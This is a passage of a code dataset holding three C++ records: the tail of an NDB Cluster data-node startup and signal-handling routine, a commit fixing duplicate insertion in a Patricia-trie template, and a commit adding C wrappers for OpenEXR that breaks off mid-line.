initial_state;\n\tbreak;\n      case NRT_DoStart_InitialStart:\n\ttheConfig->setInitialStart(true);\n\tglobalData.theRestartFlag = perform_start;\n\tbreak;\n      default:\n\tif(theConfig->stopOnError()){\n\t  \/**\n\t   * Error shutdown && stopOnError()\n\t   *\/\n\t  exit(0);\n\t}\n\t\/\/ Fall-through\n      case NRT_DoStart_Restart:\n\ttheConfig->setInitialStart(false);\n\tglobalData.theRestartFlag = perform_start;\n\tbreak;\n      }\n    } else if(theConfig->stopOnError()){\n      \/**\n       * Error shutdown && stopOnError()\n       *\/\n      exit(0);\n    }\n    g_eventLogger.info(\"Ndb has terminated (pid %d) restarting\", child);\n    theConfig->fetch_configuration();\n  }\n\n  g_eventLogger.info(\"Angel pid: %d ndb pid: %d\", getppid(), getpid());\n  theConfig->setupConfiguration();\n  systemInfo(* theConfig, * theConfig->m_logLevel); \n  \n    \/\/ Load blocks\n  globalEmulatorData.theSimBlockList->load(* theConfig);\n    \n  \/\/ Set thread concurrency for Solaris' light weight processes\n  int status;\n  status = NdbThread_SetConcurrencyLevel(30);\n  assert(status == 0);\n  \n#ifdef VM_TRACE\n  \/\/ Create a signal logger\n  char *buf= NdbConfig_SignalLogFileName(globalData.ownId);\n  NdbAutoPtr<char> tmp_aptr(buf);\n  FILE * signalLog = fopen(buf, \"a\");\n  globalSignalLoggers.setOwnNodeId(globalData.ownId);\n  globalSignalLoggers.setOutputStream(signalLog);\n#endif\n  \n  catchsigs(false);\n   \n  \/**\n   * Do startup\n   *\/\n  switch(globalData.theRestartFlag){\n  case initial_state:\n    globalEmulatorData.theThreadConfig->doStart(NodeState::SL_CMVMI);\n    break;\n  case perform_start:\n    globalEmulatorData.theThreadConfig->doStart(NodeState::SL_CMVMI);\n    globalEmulatorData.theThreadConfig->doStart(NodeState::SL_STARTING);\n    break;\n  default:\n    assert(\"Illegal state globalData.theRestartFlag\" == 0);\n  }\n\n  SocketServer socket_server;\n\n  globalTransporterRegistry.startSending();\n  globalTransporterRegistry.startReceiving();\n  if (!globalTransporterRegistry.start_service(socket_server)){\n    ndbout_c(\"globalTransporterRegistry.start_service() failed\");\n    exit(-1);\n  }\n\n  if (!globalTransporterRegistry.start_clients()){\n    ndbout_c(\"globalTransporterRegistry.start_clients() failed\");\n    exit(-1);\n  }\n\n  globalEmulatorData.theWatchDog->doStart();\n  \n  socket_server.startServer();\n\n  \/\/  theConfig->closeConfiguration();\n\n  globalEmulatorData.theThreadConfig->ipControlLoop();\n  \n  NdbShutdown(NST_Normal);\n\n  socket_server.stopServer();\n  socket_server.stopSessions();\n\n  globalTransporterRegistry.stop_clients();\n\n  return NRT_Default;\n}\n\n\nvoid \nsystemInfo(const Configuration & config, const LogLevel & logLevel){\n#ifdef NDB_WIN32\n  int processors = 0;\n  int speed;\n  SYSTEM_INFO sinfo;\n  GetSystemInfo(&sinfo);\n  processors = sinfo.dwNumberOfProcessors;\n  HKEY hKey;\n  if(ERROR_SUCCESS==RegOpenKeyEx\n     (HKEY_LOCAL_MACHINE, \n      TEXT(\"HARDWARE\\\\DESCRIPTION\\\\System\\\\CentralProcessor\\\\0\"), \n      0, KEY_READ, &hKey)) {\n    DWORD dwMHz;\n    DWORD cbData = sizeof(dwMHz);\n    if(ERROR_SUCCESS==RegQueryValueEx(hKey, \n\t\t\t\t      \"~MHz\", 0, 0, (LPBYTE)&dwMHz, &cbData)) {\n      speed = int(dwMHz);\n    }\n    RegCloseKey(hKey);\n  }\n#elif defined NDB_SOLARIS \/\/ ok\n  \/\/ Search for at max 16 processors among the first 256 processor ids\n  processor_info_t pinfo; memset(&pinfo, 0, sizeof(pinfo));\n  int pid = 0;\n  while(processors < 16 && pid < 256){\n    if(!processor_info(pid++, &pinfo))\n      processors++;\n  }\n  speed = pinfo.pi_clock;\n#endif\n  \n  if(logLevel.getLogLevel(LogLevel::llStartUp) > 0){\n    g_eventLogger.info(\"NDB Cluster -- DB node %d\", globalData.ownId);\n    g_eventLogger.info(\"%s --\", NDB_VERSION_STRING);\n#ifdef NDB_SOLARIS \/\/ ok\n    g_eventLogger.info(\"NDB is running on a machine with %d processor(s) at %d MHz\",\n\t\t       processor, speed);\n#endif\n  }\n  if(logLevel.getLogLevel(LogLevel::llStartUp) > 3){\n    Uint32 t = config.timeBetweenWatchDogCheck();\n    g_eventLogger.info(\"WatchDog timer is set to %d ms\", t);\n  }\n\n}\n\n#define handler_register(signum, handler, ignore)\\\n{\\\n  if (ignore) {\\\n    if(signum != SIGCHLD)\\\n      signal(signum, SIG_IGN);\\\n  } else\\\n    signal(signum, handler);\\\n}\n\nvoid \ncatchsigs(bool ignore){\n#if ! defined NDB_SOFTOSE && !defined NDB_OSE \n\n  static const int signals_shutdown[] = {\n#ifdef SIGBREAK\n    SIGBREAK,\n#endif\n    SIGHUP,\n    SIGINT,\n#if defined SIGPWR\n    SIGPWR,\n#elif defined SIGINFO\n    SIGINFO,\n#endif\n    SIGQUIT,\n    SIGTERM,\n#ifdef SIGTSTP\n    SIGTSTP,\n#endif\n    SIGTTIN,\n    SIGTTOU\n  };\n\n  static const int signals_error[] = {\n    SIGABRT,\n    SIGALRM,\n#ifdef SIGBUS\n    SIGBUS,\n#endif\n    SIGCHLD,\n    SIGFPE,\n    SIGILL,\n#ifdef SIGIO\n    SIGIO,\n#endif\n#ifdef SIGPOLL\n    SIGPOLL,\n#endif\n    SIGSEGV,\n#ifdef SIGTRAP\n    SIGTRAP\n#endif\n  };\n#endif\n\n  static const int signals_ignore[] = {\n    SIGPIPE\n  };\n\n  size_t i;\n  for(i = 0; i < sizeof(signals_shutdown)\/sizeof(signals_shutdown[0]); i++)\n    handler_register(signals_shutdown[i], handler_shutdown, ignore);\n  for(i = 0; i < sizeof(signals_error)\/sizeof(signals_error[0]); i++)\n    handler_register(signals_error[i], handler_error, ignore);\n  for(i = 0; i < sizeof(signals_ignore)\/sizeof(signals_ignore[0]); i++)\n    handler_register(signals_ignore[i], SIG_IGN, ignore);\n}\n\nextern \"C\"\nvoid \nhandler_shutdown(int signum){\n  g_eventLogger.info(\"Received signal %d. Performing stop.\", signum);\n  globalData.theRestartFlag = perform_stop;\n}\n\nextern \"C\"\nvoid \nhandler_error(int signum){\n  g_eventLogger.info(\"Received signal %d. Running error handler.\", signum);\n  \/\/ restart the system\n  char errorData[40];\n  snprintf(errorData, 40, \"Signal %d received\", signum);\n  ERROR_SET(fatal, 0, errorData, __FILE__);\n}\n\n\n\n\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include <algorithm>\n#include <cstdint>\n#include <vector>\n#include <iostream>\n#include <set>\nusing namespace std;\n\ntemplate <typename KeyType>\nclass PatriciaKey {\npublic:\n    PatriciaKey(KeyType value, uint8_t offset) : value_(value), offset_(offset)\n    {\n        if (offset == (sizeof(KeyType) << 3))\n            value_ = 0;\n        else\n            value_ &= static_cast<KeyType>(0xffffffffffffffffll << offset_);\n    }\n\n    KeyType value() const {\n        return value_;\n    }\n\n    uint8_t offset() const {\n        return offset_;\n    }\n\n    bool operator==(const PatriciaKey<KeyType>& key) const {\n        return value_ == key.value_ && offset_ == key.offset_;\n    }\n\n    bool operator<(const PatriciaKey<KeyType>& key) const {\n        if (value_ < key.value_)\n            return true;\n        else if (value_ == key.value_)\n            return offset_ > key.offset_;\n        else\n            return false;\n    }\n\n    bool applies_to(KeyType key) const {\n        if (offset_ == (sizeof(KeyType) << 3))\n            return true;\n        return (key & static_cast<KeyType>(0xffffffffffffffffll << offset_)) == value_;\n    }\n\n    bool applies_to(const PatriciaKey<KeyType> patkey) const {\n        if (offset_ == (sizeof(KeyType) << 3))\n            return true;\n        return offset_ >= patkey.offset_ &&\n            (patkey.value() & static_cast<KeyType>(0xffffffffffffffffll << offset_)) == value_;\n    }\n\nprivate:\n\n    KeyType value_;\n    uint8_t offset_;\n};\n\ntemplate <typename KeyType, typename ValueType>\nstruct PatriciaElem {\n    uint8_t offset;\n    KeyType key;\n    ValueType value;\n\n    PatriciaElem (uint8_t offset_, KeyType key_, ValueType value_) {\n        offset = offset_;\n        key = key_;\n        value = value_;\n    }\n\n    bool operator< (const PatriciaElem& val) const {\n        if (offset > val.offset) {\n            return true;\n        }\n        else if (offset == val.offset) {\n            if (key < val.key)\n                return true;\n            else if (key == val.key)\n                return value < val.value;\n        }\n\n        return false;\n    }\n\n    bool operator== (const PatriciaElem& val) const {\n        return offset == val.offset && key == val.key && value == val.value;\n    }\n\n};\n\ntemplate <typename KeyType, typename ValueType>\nclass PatriciaPair {\n\npublic:\n\n    PatriciaPair(std::vector<PatriciaKey<KeyType>>& keys, ValueType value)\n    {\n        keys_ = keys;\n        value_ = value;\n    }\n\n    ValueType value() const {\n        return value_;\n    }\n\n    unsigned get_size() {\n        return keys_.size();\n    }\n\n    PatriciaKey<KeyType> get_key(unsigned i) {\n        return keys_[i];\n    }\n\nprivate:\n    std::vector<PatriciaKey<KeyType> > keys_;\n    ValueType value_;\n\n};\n\ntemplate <typename KeyType, typename ValueType>\nclass PatriciaNode\n{\n    typedef std::pair<PatriciaKey<KeyType>, PatriciaNode *> Child;\n    typedef std::pair<PatriciaKey<KeyType>, ValueType> InsertedChild;\n\npublic:\n    PatriciaNode() {}\n\n    PatriciaNode(std::vector<ValueType>& parent_values, ValueType value)\n    {\n        values = parent_values;\n        values.push_back(value);\n    }\n\n    ~PatriciaNode()\n    {\n        unsigned size = children.size();\n        for (unsigned i = 0; i < size; i++)\n        {\n            delete children[i].second;\n        }\n    }\n\n    void\n    insert(PatriciaKey<KeyType>& new_key, ValueType new_value)\n    {\n        int min = 0;\n        int max = children.size()-1;\n\n        while (max >= min)\n        {\n            int mid = min + ((max - min) \/ 2);\n            PatriciaKey<KeyType> current_key = children[mid].first;\n            if (current_key.applies_to(new_key))\n            {\n                if (!std::binary_search(values.begin(), values.end(), new_value)) {\n                    children[mid].second->insert(new_key, new_value);\n                }\n                return;\n            }\n            else if(new_key.value() < current_key.value())\n                max = mid - 1;\n            else\n                min = mid + 1;\n        }\n\n        inserted_children.push_back(InsertedChild(new_key, new_value));\n    }\n\n    void\n    add(ValueType new_value)\n    {\n        values.push_back(new_value);\n    }\n\n    void finalize_offset()\n    {\n        for (auto child : children)\n             child.second->finalize_offset();\n\n        if (inserted_children.size() > 0) {\n            PatriciaKey<KeyType> current_key = inserted_children[0].first;\n            PatriciaNode<KeyType, ValueType> *current_node = new PatriciaNode<KeyType, ValueType>(values, inserted_children[0].second);\n            for (unsigned i = 1; i < inserted_children.size(); i++) {\n                if (inserted_children[i].first == current_key)\n                    current_node->add(inserted_children[i].second);\n                else {\n                    children.push_back(Child(current_key, current_node));\n                    current_key = inserted_children[i].first;\n                    current_node = new PatriciaNode<KeyType, ValueType>(values, inserted_children[i].second);\n                }\n            }\n            children.push_back(Child(current_key, current_node));\n            inserted_children.clear();\n            std::sort(children.begin(), children.end());\n        }\n    }\n\n    std::vector<ValueType> *\n    lookup(KeyType key)\n    {\n\n        int min = 0;\n        int max = children.size()-1;\n\n        while (max >= min)\n        {\n            int mid = min + ((max - min) \/ 2);\n            PatriciaKey<KeyType> current_key = children[mid].first;\n            if (current_key.applies_to(key))\n            {\n                return children[mid].second->lookup(key);\n            }\n            else if(key < current_key.value())\n                max = mid - 1;\n            else\n                min = mid + 1;\n        }\n\n        return &values;\n    }\n\nprivate:\n    std::vector<Child> children;\n    std::vector<ValueType> values;\n\n    \/\/ This is to optimize insertion of new nodes\n    \/\/std::set<ValueType> creation_set;\n    std::vector<InsertedChild> inserted_children;\n};\n\ntemplate <typename KeyType, typename ValueType>\nclass Patricia {\npublic:\n\n    typedef PatriciaElem<KeyType, ValueType> Elem;\n    typedef PatriciaKey<KeyType> Key;\n\n    Patricia(std::vector<Elem>& elems)\n    {\n        uint8_t current_offset;\n\n        std::sort(elems.begin(), elems.end());\n        elems.erase( std::unique( elems.begin(), elems.end() ), elems.end() );\n\n        current_offset = elems[0].offset;\n\n        for (Elem &el : elems) {\n            if (el.offset < current_offset) {\n                root.finalize_offset();\n                current_offset = el.offset;\n            }\n            Key key(el.key, el.offset);\n            root.insert(key, el.value);\n        }\n\n        root.finalize_offset();\n    }\n\n    std::vector<ValueType> *\n    lookup (KeyType key)\n    {\n        return root.lookup(key);\n    }\n\nprivate:\n    PatriciaNode<KeyType, ValueType> root;\n\n};\n<commit_msg>Fix bug in check<commit_after>#include <algorithm>\n#include <cstdint>\n#include <vector>\n#include <iostream>\n#include <set>\nusing namespace std;\n\ntemplate <typename KeyType>\nclass PatriciaKey {\npublic:\n    PatriciaKey(KeyType value, uint8_t offset) : value_(value), offset_(offset)\n    {\n        if (offset == (sizeof(KeyType) << 3))\n            value_ = 0;\n        else\n            value_ &= static_cast<KeyType>(0xffffffffffffffffll << offset_);\n    }\n\n    KeyType value() const {\n        return value_;\n    }\n\n    uint8_t offset() const {\n        return offset_;\n    }\n\n    bool operator==(const PatriciaKey<KeyType>& key) const {\n        return value_ == key.value_ && offset_ == key.offset_;\n    }\n\n    bool operator<(const PatriciaKey<KeyType>& key) const {\n        if (value_ < key.value_)\n            return true;\n        else if (value_ == key.value_)\n            return offset_ > key.offset_;\n        else\n            return false;\n    }\n\n    bool applies_to(KeyType key) const {\n        if (offset_ == (sizeof(KeyType) << 3))\n            return true;\n        return (key & static_cast<KeyType>(0xffffffffffffffffll << offset_)) == value_;\n    }\n\n    bool applies_to(const PatriciaKey<KeyType> patkey) const {\n        if (offset_ == (sizeof(KeyType) << 3))\n            return true;\n        return offset_ >= patkey.offset_ &&\n            (patkey.value() & static_cast<KeyType>(0xffffffffffffffffll << offset_)) == value_;\n    }\n\nprivate:\n\n    KeyType value_;\n    uint8_t offset_;\n};\n\ntemplate <typename KeyType, typename ValueType>\nstruct PatriciaElem {\n    uint8_t offset;\n    KeyType key;\n    ValueType value;\n\n    PatriciaElem (uint8_t offset_, KeyType key_, ValueType value_) {\n        offset = offset_;\n        key = key_;\n        value = value_;\n    }\n\n    bool operator< (const PatriciaElem& val) const {\n        if (offset > val.offset) {\n            return true;\n        }\n        else if (offset == val.offset) {\n            if (key < val.key)\n                return true;\n            else if (key == val.key)\n                return value < val.value;\n        }\n\n        return false;\n    }\n\n    bool operator== (const PatriciaElem& val) const {\n        return offset == val.offset && key == val.key && value == val.value;\n    }\n\n};\n\ntemplate <typename KeyType, typename ValueType>\nclass PatriciaPair {\n\npublic:\n\n    PatriciaPair(std::vector<PatriciaKey<KeyType>>& keys, ValueType value)\n    {\n        keys_ = keys;\n        value_ = value;\n    }\n\n    ValueType value() const {\n        return value_;\n    }\n\n    unsigned get_size() {\n        return keys_.size();\n    }\n\n    PatriciaKey<KeyType> get_key(unsigned i) {\n        return keys_[i];\n    }\n\nprivate:\n    std::vector<PatriciaKey<KeyType> > keys_;\n    ValueType value_;\n\n};\n\ntemplate <typename KeyType, typename ValueType>\nclass PatriciaNode\n{\n    typedef std::pair<PatriciaKey<KeyType>, PatriciaNode *> Child;\n    typedef std::pair<PatriciaKey<KeyType>, ValueType> InsertedChild;\n\npublic:\n    PatriciaNode() {}\n\n    PatriciaNode(std::vector<ValueType>& parent_values, ValueType value)\n    {\n        values = parent_values;\n        values.push_back(value);\n    }\n\n    ~PatriciaNode()\n    {\n        unsigned size = children.size();\n        for (unsigned i = 0; i < size; i++)\n        {\n            delete children[i].second;\n        }\n    }\n\n    void\n    insert(PatriciaKey<KeyType>& new_key, ValueType new_value)\n    {\n        int min = 0;\n        int max = children.size()-1;\n\n        if (std::binary_search(values.begin(), values.end(), new_value))\n            return;\n\n        while (max >= min)\n        {\n            int mid = min + ((max - min) \/ 2);\n            PatriciaKey<KeyType> current_key = children[mid].first;\n            if (current_key.applies_to(new_key))\n            {\n                children[mid].second->insert(new_key, new_value);\n                return;\n            }\n            else if(new_key.value() < current_key.value())\n                max = mid - 1;\n            else\n                min = mid + 1;\n        }\n\n        inserted_children.push_back(InsertedChild(new_key, new_value));\n    }\n\n    void\n    add(ValueType new_value)\n    {\n        values.push_back(new_value);\n    }\n\n    void finalize()\n    {\n        std::sort(values.begin(), values.end());\n    }\n\n    void finalize_offset()\n    {\n        for (auto child : children)\n             child.second->finalize_offset();\n\n        if (inserted_children.size() > 0) {\n            PatriciaKey<KeyType> current_key = inserted_children[0].first;\n            PatriciaNode<KeyType, ValueType> *current_node = new PatriciaNode<KeyType, ValueType>(values, inserted_children[0].second);\n            for (unsigned i = 1; i < inserted_children.size(); i++) {\n                if (inserted_children[i].first == current_key)\n                    current_node->add(inserted_children[i].second);\n                else {\n                    current_node->finalize();\n                    children.push_back(Child(current_key, current_node));\n                    current_key = inserted_children[i].first;\n                    current_node = new PatriciaNode<KeyType, ValueType>(values, inserted_children[i].second);\n                }\n            }\n            current_node->finalize();\n            children.push_back(Child(current_key, current_node));\n            inserted_children.clear();\n            std::sort(children.begin(), children.end());\n        }\n    }\n\n    std::vector<ValueType> *\n    lookup(KeyType key)\n    {\n\n        int min = 0;\n        int max = children.size()-1;\n\n        while (max >= min)\n        {\n            int mid = min + ((max - min) \/ 2);\n            PatriciaKey<KeyType> current_key = children[mid].first;\n            if (current_key.applies_to(key))\n            {\n                return children[mid].second->lookup(key);\n            }\n            else if(key < current_key.value())\n                max = mid - 1;\n            else\n                min = mid + 1;\n        }\n\n        return &values;\n    }\n\nprivate:\n    std::vector<Child> children;\n    std::vector<ValueType> values;\n\n    \/\/ This is to optimize insertion of new nodes\n    \/\/std::set<ValueType> creation_set;\n    std::vector<InsertedChild> inserted_children;\n};\n\ntemplate <typename KeyType, typename ValueType>\nclass Patricia {\npublic:\n\n    typedef PatriciaElem<KeyType, ValueType> Elem;\n    typedef PatriciaKey<KeyType> Key;\n\n    Patricia(std::vector<Elem>& elems)\n    {\n        uint8_t current_offset;\n\n        std::sort(elems.begin(), elems.end());\n        elems.erase( std::unique( elems.begin(), elems.end() ), elems.end() );\n\n        current_offset = elems[0].offset;\n\n        for (Elem &el : elems) {\n            if (el.offset < current_offset) {\n                root.finalize_offset();\n                current_offset = el.offset;\n            }\n            Key key(el.key, el.offset);\n            root.insert(key, el.value);\n        }\n\n        root.finalize_offset();\n    }\n\n    std::vector<ValueType> *\n    lookup (KeyType key)\n    {\n        return root.lookup(key);\n    }\n\nprivate:\n    PatriciaNode<KeyType, ValueType> root;\n\n};\n<|endoftext|>"}
{"text":"<commit_before>#include <cstdint>\n#include <cstddef>\n#include \"OpenEXR\/ImathVec.h\"\n#include \"OpenEXR\/ImathBox.h\"\n#include \"OpenEXR\/ImfPixelType.h\"\n#include \"OpenEXR\/ImfChannelList.h\"\n#include \"OpenEXR\/ImfHeader.h\"\n#include \"OpenEXR\/ImfFrameBuffer.h\"\n#include \"OpenEXR\/ImfOutputFile.h\"\n#include \"OpenEXR\/ImfInputFile.h\"\n\nusing namespace IMATH_NAMESPACE;\nusing namespace Imf;\n\nextern \"C\" {\n    \/\/ PixelType\n    \/\/ This is a stand-in for an enum from the C++ library.\n    \/\/ 0: u32\n    \/\/ 1: f16\n    \/\/ 2: f32\n    typedef int CEXR_PixelType;\n\n    \/\/ CompressionMethod\n    \/\/ This is a stand-in for an enum from the C++ library.\n    \/\/ 0 = NO_COMPRESSION\n    \/\/ 1 = RLE_COMPRESSION\n    \/\/ 2 = ZIPS_COMPRESSION\n    \/\/ 3 = ZIP_COMPRESSION\n    \/\/ 4 = PIZ_COMPRESSION\n    \/\/ 5 = PXR24_COMPRESSION\n    \/\/ 6 = B44_COMPRESSION\n    \/\/ 7 = B44A_COMPRESSION\n    \/\/ 8 = DWAA_COMPRESSION\n    \/\/ 9 = DWAB_COMPRESSION\n    typedef int CEXR_CompressionMethod;\n\n    \/\/ Channel\n    \/\/ This isn't a wrapper per se, but an separate representation for\n    \/\/ passing to\/from Rust.\n    struct CEXR_Channel {\n        CEXR_PixelType type; \/\/ enum\n        int x_sampling;\n        int y_sampling;\n        int p_linear; \/\/ bool\n    };\n};\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ Channel iterator\nextern \"C\" {\n    struct CEXR_ChannelIterator {\n        void *begin;\n        void *end;\n    };\n\n    void CEXR_ChannelIterator_delete(\n        CEXR_ChannelIterator *iterator);\n\n    const char * CEXR_ChannelIterator_next(\n        CEXR_ChannelIterator* iterator);\n};\n\nvoid CEXR_ChannelIterator_delete(CEXR_ChannelIterator *iterator) {\n    auto begin_ptr = reinterpret_cast<ChannelList::Iterator*>(iterator->begin);\n    auto end_ptr = reinterpret_cast<ChannelList::Iterator*>(iterator->end);\n    delete begin_ptr;\n    delete end_ptr;\n}\n\n\/\/ Returns nullptr if no more channels\nconst char * CEXR_ChannelIterator_next(CEXR_ChannelIterator* iterator) {\n    auto &begin = *reinterpret_cast<ChannelList::Iterator*>(iterator->begin);\n    auto &end = *reinterpret_cast<ChannelList::Iterator*>(iterator->end);\n\n    if (begin == end) {\n        return nullptr;\n    }\n\n    auto name = begin.name();\n    begin++;\n    return name;\n}\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ EXR header type.\nextern \"C\" {\n    struct CEXR_Header {\n        void *header;\n    };\n\n    CEXR_Header CEXR_Header_new(\n        int display_window_min_x,\n        int display_window_min_y,\n        int display_window_max_x,\n        int display_window_max_y,\n        int data_window_min_x,\n        int data_window_min_y,\n        int data_window_max_x,\n        int data_window_max_y,\n        float pixel_aspect_ratio,\n        float screen_window_center_x,\n        float screen_window_center_y,\n        float screen_window_width,\n        int line_order, \/\/ 0: INCREASING_Y, 1: DECREASING_Y, 2: RANDOM_Y\n        CEXR_CompressionMethod compression);\n\n    void CEXR_Header_delete(\n        CEXR_Header *header);\n\n    void CEXR_Header_insert_channel(\n        CEXR_Header *header,\n        const char name[],\n        const CEXR_Channel channel);\n\n    int CEXR_Header_channel_exists(\n        CEXR_Header *header,\n        const char name[]);\n\n    CEXR_Channel CEXR_Header_get_channel(\n        CEXR_Header *header,\n        const char name[]);\n\n    CEXR_ChannelIterator CEXR_Header_new_channel_iterator(\n        CEXR_Header *header);\n};\n\nCEXR_Header CEXR_Header_new(\n    int display_window_min_x,\n    int display_window_min_y,\n    int display_window_max_x,\n    int display_window_max_y,\n    int data_window_min_x,\n    int data_window_min_y,\n    int data_window_max_x,\n    int data_window_max_y,\n    float pixel_aspect_ratio,\n    float screen_window_center_x,\n    float screen_window_center_y,\n    float screen_window_width,\n    int line_order,\n    int compression\n) {\n    CEXR_Header header;\n\n    header.header = new Header(\n        Box2i(V2i(display_window_min_x, display_window_min_y), V2i(display_window_max_x, display_window_max_y)),\n        Box2i(V2i(data_window_min_x, data_window_min_y), V2i(data_window_max_x, data_window_max_y)),\n        pixel_aspect_ratio,\n        V2f(screen_window_center_x, screen_window_center_y),\n        screen_window_width,\n        static_cast<LineOrder>(line_order),\n        static_cast<Compression>(compression));\n    return header;\n}\n\nvoid CEXR_Header_delete(CEXR_Header *header) {\n    auto h = reinterpret_cast<Header*>(header->header);\n    delete h;\n}\n\nvoid CEXR_Header_insert_channel(CEXR_Header *header, const char name[], const CEXR_Channel channel) {\n    auto h = reinterpret_cast<Header*>(header->header);\n    h->channels().insert(\n        name,\n        Channel(\n            static_cast<PixelType>(channel.type),\n            channel.x_sampling,\n            channel.y_sampling,\n            channel.p_linear));\n}\n\nint CEXR_Header_channel_exists(CEXR_Header *header, const char name[]) {\n    auto h = reinterpret_cast<Header*>(header->header);\n    h->channels().findChannel(name) != 0;\n}\n\nCEXR_Channel CEXR_Header_get_channel(CEXR_Header *header, const char name[]) {\n    auto h = reinterpret_cast<Header*>(header->header);\n    auto chan = h->channels().findChannel(name);\n\n    CEXR_Channel channel;\n    channel.type = chan->type;\n    channel.x_sampling = chan->xSampling;\n    channel.y_sampling = chan->ySampling;\n    channel.p_linear = chan->pLinear;\n\n    return channel;\n}\n\nCEXR_ChannelIterator CEXR_Header_new_channel_iterator(CEXR_Header *header) {\n    auto h = reinterpret_cast<Header*>(header->header);\n\n    CEXR_ChannelIterator channel_iter;\n    channel_iter.begin = reinterpret_cast<void*>(new auto(h->channels().begin()));\n    channel_iter.end = reinterpret_cast<void*>(new auto(h->channels().end()));\n\n    return channel_iter;\n}\n\n\n\/\/ \/\/------------------------------------------------------------------------------\n\/\/ \/\/ FrameBuffer\n\/\/ extern \"C\" {\n\/\/     struct CEXR_FrameBuffer {\n\/\/         void *frame_buffer;\n\/\/     };\n\/\/\n\/\/     CEXR_FrameBuffer CEXR_FrameBuffer_new();\n\/\/\n\/\/     void CEXR_FrameBuffer_delete(\n\/\/         CEXR_FrameBuffer *frame_buffer);\n\/\/\n\/\/     void CEXR_FrameBuffer_insert_slice(\n\/\/         CEXR_FrameBuffer *frame_buffer,\n\/\/         const char name[],\n\/\/         char *base,\n\/\/         size_t x_stride,\n\/\/         size_t y_stride,\n\/\/         int x_sampling,\n\/\/         int y_sampling,\n\/\/         double fill_value,\n\/\/         int x_tile_coords, \/\/ bool\n\/\/         int y_tile_coords \/\/ bool\n\/\/         );\n\/\/ };\n\/\/\n\/\/\n\/\/ \/\/------------------------------------------------------------------------------\n\/\/ \/\/ OutputFile\n\/\/ extern \"C\" {\n\/\/     struct CEXR_OutputFile {\n\/\/         void *output_file;\n\/\/     };\n\/\/\n\/\/     CEXR_OutputFile CEXR_OutputFile_new(\n\/\/         const char[] file_name,\n\/\/         const CEXR_Header *header,\n\/\/         int num_threads);\n\/\/\n\/\/     void CEXR_OutputFile_delete(\n\/\/         CEXR_OutputFile *output_file);\n\/\/\n\/\/     void CEXR_OutputFile_set_frame_buffer(\n\/\/         CEXR_OutputFile* output_file,\n\/\/         CEXR_FrameBuffer* frame_buffer);\n\/\/\n\/\/     void CEXR_OutputFile_write_pixels(\n\/\/         CEXR_OutputFile* output_file,\n\/\/         int num_scan_lines);\n\/\/ };\n\/\/\n\/\/\n\/\/ \/\/------------------------------------------------------------------------------\n\/\/ \/\/ InputFile\n\/\/ extern \"C\" {\n\/\/     struct CEXR_InputFile {\n\/\/         CEXR_Header header;\n\/\/         void *input_file;\n\/\/     };\n\/\/\n\/\/     CEXR_InputFile CEXR_InputFile_new(\n\/\/         const char file_name[],\n\/\/         int num_threads);\n\/\/\n\/\/     void CEXR_InputFile_delete(\n\/\/         CEXR_InputFile *input_file);\n\/\/\n\/\/     const CEXR_Header *CEXR_InputFile_header(\n\/\/         const CEXR_InputFile *input_file);\n\/\/\n\/\/     int CEXR_InputFile_version(\n\/\/         const CEXR_InputFile *input_file);\n\/\/\n\/\/     void CEXR_InputFile_set_frame_buffer(\n\/\/         CEXR_InputFile* input_file,\n\/\/         CEXR_FrameBuffer* frame_buffer);\n\/\/\n\/\/     int CEXR_InputFile_is_complete(\n\/\/         const CEXR_InputFile *input_file);\n\/\/\n\/\/     void CEXR_InputFile_read_pixels(\n\/\/         CEXR_InputFile *input_file,\n\/\/         int scanline_1,\n\/\/         int scanline_2);\n\/\/ };\n<commit_msg>Wrapped FrameBuffer for C.<commit_after>#include <cstdint>\n#include <cstddef>\n#include \"OpenEXR\/ImathVec.h\"\n#include \"OpenEXR\/ImathBox.h\"\n#include \"OpenEXR\/ImfPixelType.h\"\n#include \"OpenEXR\/ImfChannelList.h\"\n#include \"OpenEXR\/ImfHeader.h\"\n#include \"OpenEXR\/ImfFrameBuffer.h\"\n#include \"OpenEXR\/ImfOutputFile.h\"\n#include \"OpenEXR\/ImfInputFile.h\"\n\nusing namespace IMATH_NAMESPACE;\nusing namespace Imf;\n\nextern \"C\" {\n    \/\/ PixelType\n    \/\/ This is a stand-in for an enum from the C++ library.\n    \/\/ 0: u32\n    \/\/ 1: f16\n    \/\/ 2: f32\n    typedef int CEXR_PixelType;\n\n    \/\/ CompressionMethod\n    \/\/ This is a stand-in for an enum from the C++ library.\n    \/\/ 0 = NO_COMPRESSION\n    \/\/ 1 = RLE_COMPRESSION\n    \/\/ 2 = ZIPS_COMPRESSION\n    \/\/ 3 = ZIP_COMPRESSION\n    \/\/ 4 = PIZ_COMPRESSION\n    \/\/ 5 = PXR24_COMPRESSION\n    \/\/ 6 = B44_COMPRESSION\n    \/\/ 7 = B44A_COMPRESSION\n    \/\/ 8 = DWAA_COMPRESSION\n    \/\/ 9 = DWAB_COMPRESSION\n    typedef int CEXR_CompressionMethod;\n\n    \/\/ Channel\n    \/\/ This isn't a wrapper per se, but an separate representation for\n    \/\/ passing to\/from Rust.\n    struct CEXR_Channel {\n        CEXR_PixelType type; \/\/ enum\n        int x_sampling;\n        int y_sampling;\n        int p_linear; \/\/ bool\n    };\n};\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ Channel iterator\nextern \"C\" {\n    struct CEXR_ChannelIterator {\n        void *begin;\n        void *end;\n    };\n\n    void CEXR_ChannelIterator_delete(\n        CEXR_ChannelIterator *iterator);\n\n    const char * CEXR_ChannelIterator_next(\n        CEXR_ChannelIterator* iterator);\n};\n\nvoid CEXR_ChannelIterator_delete(CEXR_ChannelIterator *iterator) {\n    auto begin_ptr = reinterpret_cast<ChannelList::Iterator*>(iterator->begin);\n    auto end_ptr = reinterpret_cast<ChannelList::Iterator*>(iterator->end);\n    delete begin_ptr;\n    delete end_ptr;\n}\n\n\/\/ Returns nullptr if no more channels\nconst char * CEXR_ChannelIterator_next(CEXR_ChannelIterator* iterator) {\n    auto &begin = *reinterpret_cast<ChannelList::Iterator*>(iterator->begin);\n    auto &end = *reinterpret_cast<ChannelList::Iterator*>(iterator->end);\n\n    if (begin == end) {\n        return nullptr;\n    }\n\n    auto name = begin.name();\n    begin++;\n    return name;\n}\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ EXR header type.\nextern \"C\" {\n    struct CEXR_Header {\n        void *header;\n    };\n\n    CEXR_Header CEXR_Header_new(\n        int display_window_min_x,\n        int display_window_min_y,\n        int 